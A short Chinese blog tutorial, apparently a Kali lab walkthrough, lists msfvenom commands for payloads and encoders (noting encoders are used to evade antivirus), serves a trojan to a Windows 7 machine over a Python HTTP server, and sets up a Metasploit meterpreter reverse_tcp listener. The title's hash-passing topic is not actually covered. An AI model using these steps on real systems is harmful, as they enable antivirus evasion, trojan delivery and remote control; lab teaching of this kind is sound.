经典攻击示范--离线攻击--HASH值传递

辉小鱼~

已于 2023-07-09 10:58:10 修改

阅读量105

点赞数

分类专栏： Kali+Python 文章标签： Linux 网络安全 python linux 安全

于 2023-07-03 09:54:59 首次发布

本文链接：https://blog.csdn.net/weixin_61427044/article/details/131509959

版权

21 篇文章 1 订阅

订阅专栏

经典攻击示范–离线攻击–HASH值传递

Msfvenom 是净荷生成和编码的组合，它在2015年6月8日取代了MsfPayload和MsfEncode这两个工具。

The advantages of msfvenom are(优点)：

查看msf支持的payload列表：

#msfvenom -l payloads

查看msf支持的payload输出格式：

#msfvenom -help-formats

*即使我们不知道目标系统存在哪些漏洞，如果我们能够将攻击载荷放在目标系统中，也是能够获取目标系统的权限的。

查看msf支持的编码器：

#msfvenom -l encoders

*选择不同的编码方式用于逃避AV的检查。

传输木马到Windows 7：

*在这里使用简单的方法，Kali启用HTTP服务器，Windows 7通过网页访问Kali下载木马文件。

python -m SimpleHTTPServer 808

*在哪个目录下启用HTTP服务，该目录就为分享文件的根目录。

开始监听连入的目标流量：
	>use exploit/multi/handler
	>set payload windows/meterpreter/reverse_tcp
	>set lhost 202.100.1.220
	>set lport 4444
	>exploit

在这里插入图片描述

在这里插入图片描述

关注